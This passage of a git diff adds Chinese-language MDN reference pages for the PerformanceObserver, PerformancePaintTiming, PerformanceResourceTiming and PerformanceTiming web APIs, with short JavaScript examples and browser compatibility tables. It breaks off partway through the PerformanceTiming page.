diff --git a/files/zh-cn/web/api/performanceobserver/observe/index.html b/files/zh-cn/web/api/performanceobserver/observe/index.html new file mode 100644 index 0000000000..a397f4dda3 --- /dev/null +++ b/files/zh-cn/web/api/performanceobserver/observe/index.html @@ -0,0 +1,134 @@ +--- +title: PerformanceObserver.observe() +slug: Web/API/PerformanceObserver/observe +tags: + - 性能 + - 性能监测对象 + - 接口 +translation_of: Web/API/PerformanceObserver/observe +--- +
{{APIRef("Performance Timeline API")}}
+ +

{{domxref("PerformanceObserver", "性能监测对象")}} 的 observe() 方法用于观察传入的参数中指定的性能条目类型的集合。当记录一个指定类型的性能条目时,性能监测对象的回调函数将会被调用。

+ +

语法

+ +
observer.observe(options);
+
+ +

参数

+ +

 

+ +
+
options
+
一个只装了单个键值对的对象,该键值对的键名规定为 entryTypesentryTypes 的取值要求如下:
+
+ + + +
+
 
+
+ +

示例

+ +
/* 写法一 */
+
+//直接往PerformanceObserver()入参匿名回调函数,成功new了一个PerformanceObserver类的,名为observer的对象
+var observer = new PerformanceObserver(function(list, obj) {
+  var entries = list.getEntries();
+  for (var i=0; i < entries.length; i++) {
+    //处理 “mark” 和 “frame” 事件
+  }
+});
+//调用observer对象的observe()方法
+observer.observe({entryTypes: ["mark", "frame"]});
+
+/* 写法二 */
+
+//预先声明回调函数perf_observer
+function perf_observer(list, observer) {
+  //处理 “measure” 事件
+}
+//再将其传入PerformanceObserver(),成功new了一个PerformanceObserver类的,名为observer2的对象
+var observer2 = new PerformanceObserver(perf_observer);
+//调用observer2对象的observe()方法
+observer2.observe({entryTypes: ["measure"]});
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Performance Timeline Level 2', '#dom-performanceobserver-observe', 'observe()')}}{{Spec2('Performance Timeline Level 2')}}Initial definition of observe() method.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(52.0)}}{{CompatGeckoDesktop(57)}}{{CompatNo}}{{CompatOpera("39")}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(57)}}{{CompatNo}} +

{{CompatOperaMobile(39)}}

+
{{CompatNo}}{{CompatChrome(52.0)}}
+
diff --git a/files/zh-cn/web/api/performanceobserver/performanceobserver/index.html b/files/zh-cn/web/api/performanceobserver/performanceobserver/index.html new file mode 100644 index 0000000000..e8a540202f --- /dev/null +++ b/files/zh-cn/web/api/performanceobserver/performanceobserver/index.html @@ -0,0 +1,66 @@ +--- +title: PerformanceObserver() +slug: Web/API/PerformanceObserver/PerformanceObserver +translation_of: Web/API/PerformanceObserver/PerformanceObserver +--- +
{{APIRef("Performance Timeline API")}}
+ +

PerformanceObserver() 构造函数使用给定的观察者 callback 生成一个新的 {{domxref("PerformanceObserver")}} 对象.当通过 {{domxref("PerformanceObserver.observe","observe()")}} 方法注册的 {{domxref("PerformanceEntry.entryType","条目类型",'','true')}} 的 {{domxref("PerformanceEntry","性能条目事件", '', 'true')}} 被记录下来时,调用该观察者回调. 

+ +

语法

+ +
var observer = new PerformanceObserver(callback);
+
+ +

参数

+ +
+
callback
+
观察的性能事件被记录时将调用 PerformanceObserverCallback 回调. 调用回调时,其第一个参数是 {{domxref("PerformanceObserverEntryList","性能观察条目列表", '', 'true')}},第二个参数是 {{domxref("PerformanceObserver","观察者")}} 对象。
+
+ +

返回值

+ +

一个在观察的性能事件发生时调用指定的 callback 的新 {{domxref("PerformanceObserver")}} 对象.

+ +

例子

+ +
var observer = new PerformanceObserver(function(list, obj) {
+  var entries = list.getEntries();
+  for (var i=0; i < entries.length; i++) {
+    // Process "mark" and "frame" events
+  }
+});
+observer.observe({entryTypes: ["mark", "frame"]});
+
+function perf_observer(list, observer) {
+  // Process the "measure" event
+}
+var observer2 = new PerformanceObserver(perf_observer);
+observer2.observe({entryTypes: ["measure"]});
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Performance Timeline Level 2', '#idl-def-performanceobservercallback', 'PerformanceObserver()')}}{{Spec2('Performance Timeline Level 2')}}PerformanceObserver() 构造函数的初始定义。
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.PerformanceObserver.PerformanceObserver")}}

+
diff --git a/files/zh-cn/web/api/performanceobserver/takerecords/index.html b/files/zh-cn/web/api/performanceobserver/takerecords/index.html new file mode 100644 index 0000000000..09c83518ea --- /dev/null +++ b/files/zh-cn/web/api/performanceobserver/takerecords/index.html @@ -0,0 +1,63 @@ +--- +title: PerformanceObserver.takeRecords() +slug: Web/API/PerformanceObserver/takeRecords +translation_of: Web/API/PerformanceObserver/takeRecords +--- +
{{APIRef("Performance Timeline API")}}
+ +
 
+ +

{{domxref('PerformanceObserver')}} 接口的 takeRecords() 方法返回当前存储在性能观察器中的 {{domxref("PerformanceEntry","性能条目")}}  列表,将其清空。

+ +

Syntax

+ +
var PerformanceEntry[] = performanceObserver.takeRecords();
+
+ +

参数

+ +

None.

+ +

返回值

+ +

{{domxref("PerformanceEntry")}} 对象列表.

+ +

例子

+ +
var observer = new PerformanceObserver(function(list, obj) {
+  var entries = list.getEntries();
+  for (var i=0; i < entries.length; i++) {
+    // Process "mark" and "frame" events
+  }
+});
+observer.observe({entryTypes: ["mark", "frame"]});
+var records = observer.takeRecords();
+console.log(records[0].name);
+console.log(records[0].startTime);
+console.log(records[0].duration);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Performance Timeline Level 2', '#dom-performanceobserver-takerecords', 'takeRecords()')}}{{Spec2('Performance Timeline Level 2')}}Initial definition of takeRecords() method.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.PerformanceObserver.takeRecords")}}

+
diff --git a/files/zh-cn/web/api/performancepainttiming/index.html b/files/zh-cn/web/api/performancepainttiming/index.html new file mode 100644 index 0000000000..22be6268da --- /dev/null +++ b/files/zh-cn/web/api/performancepainttiming/index.html @@ -0,0 +1,130 @@ +--- +title: PerformancePaintTiming +slug: Web/API/PerformancePaintTiming +tags: + - API + - Interface + - Paint Timing + - Performance Timeline API + - PerformancePaintTiming + - Web Performance + - 渲染时机 + - 渲染监测 +translation_of: Web/API/PerformancePaintTiming +--- +

{{SeeCompatTable}}{{APIRef("Performance Timeline API")}}

+ +

Paint Timing  提供的PerformancePaintTiming是一个提供页面在构建过程中的“绘制”(也称“渲染”)时间点信息的接口。“绘制”是指将渲染树转换为页面上像素的过程。

+ +

应用可以为名为“paint”的{{domxref("PerformanceEntry","performance entry 类型")}} 注册一个{{domxref("PerformanceObserver")}},然后观察者可以获取绘制相关的事件发生的时间。以此来帮你找出那些花费太多时间去绘制的区域,而后提升用户体验。

+ +

{{InheritanceDiagram}}

+ +

属性

+ +

这个接口没有属性,但是(为了"paint" {{domxref ("PerformanceEntry.entryType","performance entry 类型")}})通过一些限制和约束 扩展了以下{{domxref("PerformanceEntry")}}属性

+ +
+
{{domxref("PerformanceEntry.entryType")}}
+
返回 "paint".
+
{{domxref("PerformanceEntry.name")}}
+
返回 "first-paint""first-contentful-paint".
+
{{domxref("PerformanceEntry.startTime")}}
+
当开始“绘制“时返回 {{domxref("DOMHighResTimeStamp","timestamp")}}.
+
{{domxref("PerformanceEntry.duration")}}
+
返回 0.
+
+ +

方法

+ +

这个接口没有方法

+ +

例子

+ +
function showPaintTimings() {
+  if (window.performance) {
+    let performance = window.performance;
+    let performanceEntries = performance.getEntriesByType('paint');
+    performanceEntries.forEach( (performanceEntry, i, entries) => {
+      console.log("The time to " + performanceEntry.name + " was " + performanceEntry.startTime + " milliseconds.");
+    });
+  } else {
+    console.log('Performance timing isn\'t supported.');
+  }
+}
+ +

上面例子输出如下

+ +
The time to first-paint was 2785.915 milliseconds.
+The time to first-contentful-paint was 2787.460 milliseconds.
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Paint Timing','#sec-PerformancePaintTiming','PerformancePaintTiming')}}{{Spec2('Paint Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(47)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(60)}}{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(47)}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/performanceresourcetiming/index.html b/files/zh-cn/web/api/performanceresourcetiming/index.html new file mode 100644 index 0000000000..37f8077dd0 --- /dev/null +++ b/files/zh-cn/web/api/performanceresourcetiming/index.html @@ -0,0 +1,115 @@ +--- +title: PerformanceResourceTiming +slug: Web/API/PerformanceResourceTiming +translation_of: Web/API/PerformanceResourceTiming +--- +
{{APIRef("Resource Timing API")}}
+ +
PerformanceResourceTiming接口可以检索和分析有关加载应用程序资源的详细网络计时数据。 应用程序可以使用timing指标来确定获取特定资源所需的时间长度,例如{{domxref("XMLHttpRequest")}}{{SVGElement("SVG","SVG element")}},image或script。
+ +
+ +
这个接口使用{{domxref("DOMHighResTimeStamp","high-resolution timestamps")}} 属性创建加载资源时间轴,用于网络事件,例如重定向开始( redirect start )和结束时间,获取开始( fetch start ),DNS查找开始( DNS lookup start )和结束时间,响应开始( response start )和结束时间等。此外,接口扩展{{domxref("PerformanceEntry")}}与其他属性,这些属性提供有关获取资源大小的数据以及初始化时获取的资源类型。
+ +
+ +

{{InheritanceDiagram}}

+ +

{{AvailableInWorkers}}

+ +

属性

+ +

此接口通过限定和约束{{domxref("PerformanceEntry")}}属性来扩展资源性能条目类型,如下所示:

+ +
+
 {{domxref("PerformanceEntry.entryType")}}{{readonlyInline}}
+
返回 "resource".
+
{{domxref("PerformanceEntry.name")}}{{readonlyInline}}
+
返回 resources URL.
+
{{domxref("PerformanceEntry.startTime")}}{{readonlyInline}}
+
在资源提取开始的时间返回{{domxref("DOMHighResTimeStamp","timestamp")}}。该值等于{{domxref("PerformanceEntry.fetchStart")}}。
+
{{domxref("PerformanceEntry.duration")}}{{readonlyInline}}
+
返回{{domxref("DOMHighResTimeStamp","timestamp")}},它是{{domxref("PerformanceResourceTiming.responseEnd","responseEnd")}}和{{domxref("PerformanceEntry.startTime","startTime")}}属性之间的差异。
+
+ +

该接口还支持以下属性,这些属性按记录顺序列出以获取单个资源。 按字母顺序排列的列表显示在左侧的导航栏中。

+ +
+
{{domxref('PerformanceResourceTiming.initiatorType')}}{{readonlyInline}}
+
返回{{domxref("DOMString","string")}},表示初始化性能条目的资源类型,如{{domxref('PerformanceResourceTiming.initiatorType')}}中所规定。
+
{{domxref('PerformanceResourceTiming.nextHopProtocol')}}{{readonlyInline}}
+
返回{{domxref("DOMString","string")}} ,表示用于获取资源的网络协议,由ALPN Protocol ID (RFC7301)标识。
+
{{domxref('PerformanceResourceTiming.workerStart')}}{{readonlyInline}}
+
如果Service Worker线程已在运行,则在调用{{domxref("FetchEvent")}}之前立即返回{{domxref("DOMHighResTimeStamp")}},如果尚未运行,则在启动Service Worker线程之前立即返回{{domxref("DOMHighResTimeStamp")}}。 如果资源未被Service Worker拦截,则该属性将始终返回0。
+
{{domxref('PerformanceResourceTiming.redirectStart')}}{{readonlyInline}}
+
返回{{domxref("DOMHighResTimeStamp")}}, 表示初始重定向的开始获取时间。
+
{{domxref('PerformanceResourceTiming.redirectEnd')}}{{readonlyInline}}
+
返回{{domxref("DOMHighResTimeStamp")}} ,紧接在收到最后一次重定向响应的最后一个字节后。
+
{{domxref('PerformanceResourceTiming.fetchStart')}}{{readonlyInline}}
+
返回{{domxref("DOMHighResTimeStamp")}} ,紧接在浏览器开始获取资源之前。
+
{{domxref('PerformanceResourceTiming.domainLookupStart')}}{{readonlyInline}}
+
返回{{domxref("DOMHighResTimeStamp")}},紧接在浏览器启动资源的域名查找之前。
+
{{domxref('PerformanceResourceTiming.domainLookupEnd')}}{{readonlyInline}}
+
返回{{domxref("DOMHighResTimeStamp")}} ,表示浏览器完成资源的域名查找后的时间。
+
{{domxref('PerformanceResourceTiming.connectStart')}}{{readonlyInline}}
+
返回{{domxref("DOMHighResTimeStamp")}} ,紧接在浏览器检索资源,开始建立与服务器的连接之前。
+
{{domxref('PerformanceResourceTiming.connectEnd')}}{{readonlyInline}}
+
返回{{domxref("DOMHighResTimeStamp")}} ,紧接在浏览器完成与服务器的连接以检索资源之后。
+
{{domxref('PerformanceResourceTiming.secureConnectionStart')}}{{readonlyInline}}
+
返回{{domxref("DOMHighResTimeStamp")}} ,紧接在浏览器启动握手过程之前,以保护当前连接。
+
{{domxref('PerformanceResourceTiming.requestStart')}}{{readonlyInline}}
+
返回{{domxref("DOMHighResTimeStamp")}} ,紧接在浏览器开始从服务器请求资源之前。
+
{{domxref('PerformanceResourceTiming.responseStart')}}{{readonlyInline}}
+
返回{{domxref("DOMHighResTimeStamp")}} ,紧接在浏览器收到服务器响应的第一个字节后。
+
{{domxref('PerformanceResourceTiming.responseEnd')}}{{readonlyInline}}
+
返回{{domxref("DOMHighResTimeStamp")}} ,紧接在浏览器收到资源的最后一个字节之后或紧接在传输连接关闭之前,以先到者为准。
+
{{domxref('PerformanceResourceTiming.transferSize')}}{{readonlyInline}}
+
表示获取资源的大小(以八位字节为单位)的数字。 包括响应头字段和响应payload body的大小。
+
{{domxref('PerformanceResourceTiming.encodedBodySize')}}{{readonlyInline}}
+
在删除任何应用的内容编码之前,从payload body的提取(HTTP或高速缓存)接收的大小(以八位字节为单位)的数字
+
{{domxref('PerformanceResourceTiming.decodedBodySize')}}{{readonlyInline}}
+
在删除任何应用的内容编码之后,从消息正文( message body )的提取(HTTP或缓存)接收的大小(以八位字节为单位)的数字
+
{{domxref('PerformanceResourceTiming.serverTiming')}}{{readonlyInline}}
+
包含服务器时序度量( timing metrics )的{{domxref("PerformanceServerTiming")}} 条目数组。
+
+ +

方法

+ +
+
{{domxref("PerformanceResourceTiming.toJSON()")}}
+
返回{{domxref("DOMString")}}, 它是 {{domxref("PerformanceResourceTiming")}} 对象的JSON表示形式。
+
+ +

Example

+ +

See the example in Using the Resource Timing API.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Resource Timing', '#performanceresourcetiming', 'PerformanceResourceTiming')}}{{Spec2('Resource Timing')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.PerformanceResourceTiming")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/performancetiming/connectend/index.html b/files/zh-cn/web/api/performancetiming/connectend/index.html new file mode 100644 index 0000000000..11668e695d --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/connectend/index.html @@ -0,0 +1,49 @@ +--- +title: PerformanceTiming.connectEnd +slug: Web/API/PerformanceTiming/connectEnd +translation_of: Web/API/PerformanceTiming/connectEnd +--- +

{{APIRef("Navigation Timing")}}

+ +

Summary

+ +

PerformanceTiming.connectEnd 这个只读属性返回一个无符号长整型,它以毫秒为单位,代表了网络链接建立的时间节点。如果传输层报告了错误或者链接又被重新建立,则采用最后一次链接建立的时间。如果链接是长久的,那么这个值等同于{{domxref("PerformanceTiming.fetchStart")}}。链接被认为打开以所有的链接握手,SOCKS认证结束为标志。

+ +

Syntax

+ +
time = performanceTiming.connectEnd;
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-connectend', 'PerformanceTiming.connectEnd')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

Browser compatibility

+ +
+
+
+ + +

{{Compat("api.PerformanceTiming.connectEnd")}}

+
+
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/performancetiming/connectstart/index.html b/files/zh-cn/web/api/performancetiming/connectstart/index.html new file mode 100644 index 0000000000..851a9aca75 --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/connectstart/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.connectStart +slug: Web/API/PerformanceTiming/connectStart +translation_of: Web/API/PerformanceTiming/connectStart +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.connectStart 是一个返回代表一个时刻的 unsigned long long 型只读属性,请求连接被发送到网络之时的Unix毫秒时间戳。如果传输层报告错误并且连接的建立重新开始,则把最后建立连接的开始时间作为该值。如果一个持久连接被使用,则该值与 {{domxref("PerformanceTiming.fetchStart")}} 相同。

+ +

语法

+ +
time = performanceTiming.connectStart;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-connectstart', 'PerformanceTiming.connectStart')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.connectStart")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/domainlookupend/index.html b/files/zh-cn/web/api/performancetiming/domainlookupend/index.html new file mode 100644 index 0000000000..d996bf27e3 --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/domainlookupend/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.domainLookupEnd +slug: Web/API/PerformanceTiming/domainLookupEnd +translation_of: Web/API/PerformanceTiming/domainLookupEnd +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.domainLookupEnd 是一个返回代表一个时刻的 unsigned long long 型只读属性,为解析域名结束时的 Unix毫秒时间戳。如果一个持久连接被使用,或者该信息已经被本地资源或者缓存存储,则该值等同于 {{domxref("PerformanceTiming.fetchStart")}}。

+ +

语法

+ +
time = performanceTiming.domainLookupEnd;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-domainlookupend', 'PerformanceTiming.domainLookupEnd')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.domainLookupEnd")}}

+
+
+ +

参加

+ + diff --git a/files/zh-cn/web/api/performancetiming/domainlookupstart/index.html b/files/zh-cn/web/api/performancetiming/domainlookupstart/index.html new file mode 100644 index 0000000000..ab68f765b8 --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/domainlookupstart/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.domainLookupStart +slug: Web/API/PerformanceTiming/domainLookupStart +translation_of: Web/API/PerformanceTiming/domainLookupStart +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.domainLookupStart 是一个返回代表一个时刻的 unsigned long long 型只读属性,为域名开始解析之时的 Unix毫秒时间戳。如果一个持久连接被使用,或者该信息已经被本地资源或者缓存存储,则该值等同于 {{domxref("PerformanceTiming.fetchStart")}}。

+ +

语法

+ +
time = performanceTiming.domainLookupStart;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-domainlookupstart', 'PerformanceTiming.domainLookupStart')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.domainLookupStart")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/domcomplete/index.html b/files/zh-cn/web/api/performancetiming/domcomplete/index.html new file mode 100644 index 0000000000..e1a494b0be --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/domcomplete/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.domComplete +slug: Web/API/PerformanceTiming/domComplete +translation_of: Web/API/PerformanceTiming/domComplete +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.domComplete 是一个返回代表一个时刻的 unsigned long long 型只读属性,为主文档的解析器结束工作,{{domxref("Document.readyState")}} 变为 'complete'且相当于 {{event("readystatechange")}} 事件被触发时的 Unix毫秒时间戳。

+ +

语法

+ +
time = performanceTiming.domComplete;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-domcomplete', 'PerformanceTiming.domComplete')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.domComplete")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/domcontentloadedeventend/index.html b/files/zh-cn/web/api/performancetiming/domcontentloadedeventend/index.html new file mode 100644 index 0000000000..23e672757c --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/domcontentloadedeventend/index.html @@ -0,0 +1,49 @@ +--- +title: PerformanceTiming.domContentLoadedEventEnd +slug: Web/API/PerformanceTiming/domContentLoadedEventEnd +tags: + - 性能 +translation_of: Web/API/PerformanceTiming/domContentLoadedEventEnd +--- +

{{APIRef("Navigation Timing")}}

+ +

Summary

+ +

PerformanceTiming.domContentLoadedEventEnd 为只读属性,返回一个无符号长整型数值(unsigned long),以UNIX时间戳的形式表示一个时刻,这个时刻为所有需要尽早执行的脚本不管是否按顺序,都已经执行完毕。(译注:即DOM Ready)

+ +

Syntax

+ +
time = performanceTiming.domContentLoadedEventEnd;
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-domcontentloadedeventend', 'PerformanceTiming.domContentLoadedEventEnd')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

Browser compatibility

+ +
+
+ + +

{{Compat("api.PerformanceTiming.domContentLoadedEventEnd")}}

+
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/performancetiming/domcontentloadedeventstart/index.html b/files/zh-cn/web/api/performancetiming/domcontentloadedeventstart/index.html new file mode 100644 index 0000000000..b0aa0fb44d --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/domcontentloadedeventstart/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.domContentLoadedEventStart +slug: Web/API/PerformanceTiming/domContentLoadedEventStart +translation_of: Web/API/PerformanceTiming/domContentLoadedEventStart +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.domContentLoadedEventStart 是一个返回代表一个时刻的 unsigned long long 型只读属性,为解析器发出 {{event("DOMContentLoaded")}} 事件之前,即所有的需要被运行的脚本已经被解析之时的 Unix毫秒时间戳。

+ +

语法

+ +
time = performanceTiming.domContentLoadedEventStart;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-domcontentloadedeventstart', 'PerformanceTiming.domContentLoadedEventStart')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.domContentLoadedEventStart")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/dominteractive/index.html b/files/zh-cn/web/api/performancetiming/dominteractive/index.html new file mode 100644 index 0000000000..843db953f9 --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/dominteractive/index.html @@ -0,0 +1,50 @@ +--- +title: PerformanceTiming.domInteractive +slug: Web/API/PerformanceTiming/domInteractive +translation_of: Web/API/PerformanceTiming/domInteractive +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.domInteractive 是一个返回代表一个时刻的 unsigned long long 型只读属性,为在主文档的解析器结束工作,即 {{domxref("Document.readyState")}} 改变为 'interactive' 并且相当于 {{event("readystatechange")}} 事件被触发之时的 Unix毫秒时间戳。

+ +

这个属性被用于测量用户感受的加载网页的速度。然而,如果脚本被屏蔽发生,而不是被异步加载或者使用了自定义的 Web 字体,这里有一些警告可能会发生。在使用这个值作为网页加载用户体验的媒介时,请务必检查一下你是否处于以上的情况

+ +

语法

+ +
time = performanceTiming.domInteractive;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-dominteractive', 'PerformanceTiming.domInteractive')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.domInteractive")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/domloading/index.html b/files/zh-cn/web/api/performancetiming/domloading/index.html new file mode 100644 index 0000000000..4100e6f028 --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/domloading/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.domLoading +slug: Web/API/PerformanceTiming/domLoading +translation_of: Web/API/PerformanceTiming/domLoading +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.domLoading 是一个返回代表一个时刻的 unsigned long long 型只读属性,为解析器开始工作,即 {{domxref("Document.readyState")}} 改变为 'loading' 并且 {{event("readystatechange")}} 事件被触发之时的 Unix毫秒时间戳。

+ +

语法

+ +
time = performanceTiming.domLoading;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-domloading', 'PerformanceTiming.domLoading')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.domLoading")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/fetchstart/index.html b/files/zh-cn/web/api/performancetiming/fetchstart/index.html new file mode 100644 index 0000000000..2523418c1f --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/fetchstart/index.html @@ -0,0 +1,47 @@ +--- +title: PerformanceTiming.fetchStart +slug: Web/API/PerformanceTiming/fetchStart +translation_of: Web/API/PerformanceTiming/fetchStart +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

PerformanceTiming.fetchStart 是一个返回代表一个时刻的 unsigned long long 型只读属性,为浏览器已经准备好去使用HTTP请求抓取文档之时的 Unix毫秒时间戳。这一时刻在检查应用的缓存之前。

+ +

语法

+ +
time = performanceTiming.fetchStart;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#dom-performancetiming-fetchstart', 'PerformanceTiming.fetchStart')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.PerformanceTiming.fetchStart")}}

+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performancetiming/index.html b/files/zh-cn/web/api/performancetiming/index.html new file mode 100644 index 0000000000..859bbdbd52 --- /dev/null +++ b/files/zh-cn/web/api/performancetiming/index.html @@ -0,0 +1,104 @@ +--- +title: PerformanceTiming +slug: Web/API/PerformanceTiming +tags: + - API + - Navi +translation_of: Web/API/PerformanceTiming +--- +

{{APIRef("Navigation Timing")}}

+ +

PerformanceTiming 接口是为保持向后兼容性而保留的传统接口,并且提供了在加载和使用当前页面期间发生的各种事件的性能计时信息。

+ +

可以通过只读属性{{domxref("Performance.timing", "window.performance.timing")}} 获得实现该接口的一个对象。

+ +

属性

+ +

PerformanceTiming 接口不包含任何继承属性。

+ +
+
{{domxref("PerformanceTiming.navigationStart")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,表征了从同一个浏览器上下文的上一个文档卸载(unload)结束时的UNIX时间戳。如果没有上一个文档,这个值会和PerformanceTiming.fetchStart相同。
+
{{domxref("PerformanceTiming.unloadEventStart")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,表征了{{event("unload")}}事件抛出时的UNIX时间戳。如果没有上一个文档,or if the previous document, or one of the needed redirects, is not of the same origin, 这个值会返回0.
+
{{domxref("PerformanceTiming.unloadEventEnd")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,表征了{{event("unload")}}事件处理完成时的UNIX时间戳。如果没有上一个文档,or if the previous document, or one of the needed redirects, is not of the same origin, 这个值会返回0.
+
{{domxref("PerformanceTiming.redirectStart")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,表征了第一个HTTP重定向开始时的UNIX时间戳。如果没有重定向,或者重定向中的一个不同源,这个值会返回0.
+
{{domxref("PerformanceTiming.redirectEnd")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,表征了最后一个HTTP重定向完成时(也就是说是HTTP响应的最后一个比特直接被收到的时间)的UNIX时间戳。如果没有重定向,或者重定向中的一个不同源,这个值会返回0.
+
{{domxref("PerformanceTiming.fetchStart")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,表征了浏览器准备好使用HTTP请求来获取(fetch)文档的UNIX时间戳。这个时间点会在检查任何应用缓存之前。
+
{{domxref("PerformanceTiming.domainLookupStart")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,表征了域名查询开始的UNIX时间戳。如果使用了持续连接(persistent connection),或者这个信息存储到了缓存或者本地资源上,这个值将和 PerformanceTiming.fetchStart一致。
+
{{domxref("PerformanceTiming.domainLookupEnd")}} {{readonlyInline}}
+
是一个无符号long long 型的毫秒数,表征了域名查询结束的UNIX时间戳。如果使用了持续连接(persistent connection),或者这个信息存储到了缓存或者本地资源上,这个值将和 PerformanceTiming.fetchStart一致。
+
{{domxref("PerformanceTiming.connectStart")}} {{readonlyInline}}
+
